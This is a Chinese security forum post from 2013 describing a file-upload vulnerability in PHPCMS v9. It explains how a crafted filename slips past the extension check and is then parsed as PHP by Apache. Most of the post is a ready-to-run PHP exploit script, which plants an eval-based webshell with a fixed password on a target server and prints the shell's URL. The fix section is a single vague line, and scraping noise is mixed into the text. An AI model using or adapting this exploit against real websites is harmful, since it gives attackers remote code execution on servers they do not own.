找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2211|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行
0 a- H- m  U; e* M) q8 F0 `4 u, g/ k( M+ z* v
简要描述:- j5 M6 \$ O" s9 `+ J

( x) i& g- j7 }1 l* Iphpcms v9 getshell (apache)
1 I  c# z, @0 }$ P详细说明:
5 ~$ O$ U3 x' `$ l
  _" C: P5 n- S! F) N  \) t( D漏洞文件:phpcms\modules\attachment\attachments.php) ~2 u5 U9 F7 y! I% V' w% ^
! Q+ Q& [+ g& H; @' U
public function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  }
& S" _/ \. |: \# n# k9 U5 N后缀检测:phpcms\modules\attachment\functions\global.func.php1 K( h6 X0 d4 [/ s3 j

5 G8 T! [7 b; K, @- K ; ~0 Y% p( O/ `, n
* ^) s9 V/ x5 `
function is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  
$ R# b1 c; Y  k- |. z2 m! ^
, p2 v8 o7 \. t" M9 u, f0 l关键函数:
$ i/ E& p( h% {: e- a4 ]
& \; l5 `5 e' {* D
1 N7 a- V5 f9 W4 R% d
( `2 M2 _: r7 _0 gfunction fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  
* L4 f, R2 L) n' @5 s4 Y
" c' ^( c3 Y! N; X: K  Fileext函数是对文件后缀名的提取。
) E+ u- r  u$ y: O: K根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php4 f6 ~: J( A3 J3 y6 t3 E- R, V  H
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
( v0 n" [0 Y; t) L& p我们回到public function crop_upload() 函数中
2 @. E( c* s5 E3 n' E% [; Rif(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
0 ]4 j5 e1 [! k; M' z6 H在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
# x+ o# R3 j' o4 c这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。1 s0 d5 G3 w7 q+ u# c
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
1 [% O& ]* \2 w7 U1 p( a最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。/ a/ L3 j; o5 c2 E
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
6 P# |; e- w+ T. b& u  z0 q漏洞证明:. L$ U! g; H8 n) I
2 \. P8 l: j( A3 |
exp:
, Y3 t% ^# N+ e1 r2 ]$ N+ t' F  G4 c5 G4 d) I# y( h8 n( I
<?php
1 Y( ?, J2 C2 N5 Werror_reporting(E_ERROR);" r6 u$ Q6 g. O: x4 V# |, ^
set_time_limit(0);4 |/ |4 S% c+ F) O; S8 T  G
$pass="ln";5 D3 L0 M9 h) d8 [" A
print_r('4 N! \6 C' w. ?! L+ a
+---------------------------------------------------------------------------+
/ U  }' {) t+ {; m# i5 Q, T/ cPHPCms V9 GETSHELL 0DAY 9 R0 C% l7 e2 f( i+ Z8 k; g
code by L.N.5 ?; c# Z9 b& t7 x) Z6 p; B

0 z$ q5 j9 e9 H; Z! h  s* e: uapache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net8 Q0 \, o, N, t
+---------------------------------------------------------------------------+2 r( Y5 r8 y5 S! @8 p( s4 v
');
& x% l$ @9 t6 m9 }- B9 M' wif ($argc < 2) {9 d8 u/ s/ c8 W! r. |
print_r('
' q3 a& X5 F) w" \+---------------------------------------------------------------------------+& g! D4 ]# W8 D$ Y4 b) Y
Usage: php '.$argv[0].' url path1 I, q& f9 _7 a7 e* P& [+ B- X0 l

( b$ B  K# @0 Y9 [' d! IExample:. w) B* ]4 ^& c" v
1.php '.$argv[0].' lanu.sinaapp.com
* E0 h3 t# d( C& e! g2.php '.$argv[0].' lanu.sinaapp.com /phpcms( K5 R1 p2 V! C# x* {1 z; {
+---------------------------------------------------------------------------+
4 C/ C7 I3 @5 m, i# b% C');
2 m, s# d6 x7 w0 F( {, h1 c0 Uexit;2 ?; X# `, Q. f' q) R# A
}3 G' l7 I4 Z* a0 M1 G* D

. _/ h( T  Q2 p% n' d% l$url = $argv[1];* R) c: P; M6 L" `2 A1 j/ N
$path = $argv[2];  ]! n) Z( J) Q# M
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';& C  ?7 D6 C8 }, S1 I5 F
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
) g2 {8 ?, m: ^9 L" s0 h1 h# Fif($ret=Create_dir($url,$path))* m1 c7 w; F. M+ A4 q
{
, L- `5 y, N/ K: R2 O//echo $ret;
0 P/ I4 u2 i2 R" ~$pattern = "|Server:[^,]+?|U";
( _6 e6 ~* {( e% q  }6 h$ qpreg_match_all($pattern, $ret, $matches);- b$ Y# b% |, h/ J- Y* \1 l- e+ J
if($matches[0][0]); w6 s8 C' f3 f! Z& Q2 g
{2 j( L8 x# O  M$ ~) S
if(strpos($matches[0][0],'Apache') == false), T$ x5 {% \4 ^2 g3 L/ Z
{7 i, x" k, V: E: [# o
echo "\n亲!此网站不是apache的网站。\n";exit;
3 A2 a2 O3 [2 @2 v}0 b. j5 u! ^4 _$ E
}
# x+ d1 `, V0 n" H' ^$ret = GetShell($url,$phpshell,$path,$file);
2 u: f- b1 K0 e! B7 G2 V$pattern = "|http:\/\/[^,]+?\.,?|U";1 n2 i# l' L. i2 @& K1 ~5 d4 c* \  V
preg_match_all($pattern, $ret, $matches);3 Y' Q: j  k8 C
if($matches[0][0])% D, ^# D* a5 S; m) Z
{' _6 S" H' G7 Y: D
echo "\n".'密码为: '.$pass."\n";3 p! l# w' A; t  z9 F7 s( P
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;- ?$ b* }, i" s% M. x
}' }$ u; e8 t$ Z0 w  \) |% T! b6 ]
else/ N8 q% m+ c' {1 O( ~$ A
{
4 h7 F1 \: f: i8 u4 {% t$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
! R3 z+ {/ D: Xpreg_match_all($pattern, $ret, $matches);
0 T. |" T4 k6 ~( K1 \& Uif($matches[0][0])
' y+ x! b1 M: e' {  v{
& K0 k4 o: S) L* ?echo "\n".'密码为: '.$pass."\n";
1 ~4 y8 T% ~1 W% ~echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
( k0 J/ j8 o- o2 v% Z6 t4 M}  R6 t! A. [* Q" Y  X# _5 P
else
9 S: W8 ?$ E( }0 s- t6 [6 G5 p{
7 m6 w) R1 c2 h; Recho "\r\n没得到!\n";exit;
' U# l2 ^2 y6 X( s2 c}
5 R/ G& ?' ]9 M; c}7 m% U1 F5 d* O
}) ], r! R6 T+ T8 k

5 i; m' t7 _# `" |: L" [6 Yfunction GetShell($url,$shell,$path,$js)5 t& o4 O( M9 C9 M1 t
{$ N# A$ B  E2 e& k7 M4 ^5 m0 x% o
$content =$shell;
) E" w0 x: h5 I0 B4 e! q$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
9 v) W# ^* d# `7 Z4 M$data .= "Host: ".$url."\r\n";; C3 ?2 n2 N3 X- ?+ |) s
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
  @; |* v- {0 v3 H$ I/ I5 R$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";( T! P6 ~4 g" T3 }, K3 @8 g
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";  s# u: U* d2 b2 f( `% L
$data .= "Connection: close\r\n";* i5 h* _% t9 R- L- i
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
7 B0 t: p$ J  U3 A- W& ?" I$data .= $content."\r\n";
6 _8 D" R7 k* I$ock=fsockopen($url,80);
, ]& v* q8 K8 k5 Uif (!$ock)
. l0 W& }5 n6 L) m{
& R: |8 @5 N: Wecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
5 k6 P5 i4 n$ Q* @}
+ _8 U% ?8 ?+ ]8 }else
! ]! O' [* Q" B- J{
0 F# |5 x2 E1 v" Sfwrite($ock,$data);
7 H& C. ?1 y! k) l& v1 q/ y$resp = '';
$ \9 c# I9 N1 F4 r* zwhile (!feof($ock))
. h3 Y& ^* q& {; `{
% Z5 m1 `5 j/ B7 s0 D$resp.=fread($ock, 1024);" r8 r- O% C% U2 a+ Q" g
}
. \* X0 w5 C1 T) o/ Yreturn $resp;
& B6 f: n5 ~9 ]  k/ T}" v, [8 S/ S+ F- c& v6 x
}
2 p6 ^" h( z  m/ e6 }( m5 X- N2 r. M; n7 P
function Create_dir($url,$path='')! s& I( F: v0 `7 J( L3 \9 x+ Q
{
) n1 H. S4 A. _1 S9 o$content ='I love you';5 h4 ]' ]: b$ ^# s
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
2 L9 [8 l. t) ~- K; w$data .= "Host: ".$url."\r\n";( d" w* G6 Y# |4 P4 ^% E
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";, ?. U( R9 @4 ~6 }# q' f
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";; A8 h: D' {, d) @: q4 x; g
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";& Y1 P& i/ R& d/ ~$ r; D
$data .= "Connection: close\r\n";
& w, J6 R+ `* A8 {& ]$ z% v3 k$ f$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
- V0 @, a! T- u7 k$data .= $content."\r\n";% p8 C/ o! j: a* d
$ock=fsockopen($url,80);
8 n; N" c# H2 o' U! nif (!$ock)
! P4 q* q$ U( I+ a$ x) l{& Y$ o9 O+ m5 N: _/ P7 p$ C
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;' I, c& P/ }7 r4 |" R
}' i/ f  R  j) V  j& }5 l6 X
fwrite($ock,$data);
3 ?/ h5 a; H7 Q% x; g$resp = '';
/ M( s" Z/ K, L7 a- W% cwhile (!feof($ock))
1 @* I. K% U4 J! j/ P{7 L5 s9 H. b( @& g
$resp.=fread($ock, 1024);/ @: ]* E9 @" |9 B: z
}  j# ~- G, j% ]: n  @' P  O6 v
return $resp;
$ o* F; x* J% {! u: c: I2 D# b}
) e1 @/ g8 u" h/ L- e& K' S  a* T?>
# H- P6 I, y- a0 B$ g
! ?5 ?3 ]( L4 p8 b修复方案:, H& l, N& g' f  U  {! o/ e

7 J, L- V, O: {* }: q过滤过滤再过滤. f+ c( f, K" Z& I- R' y+ |! V6 D
" P7 Q+ \9 {/ @2 K
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表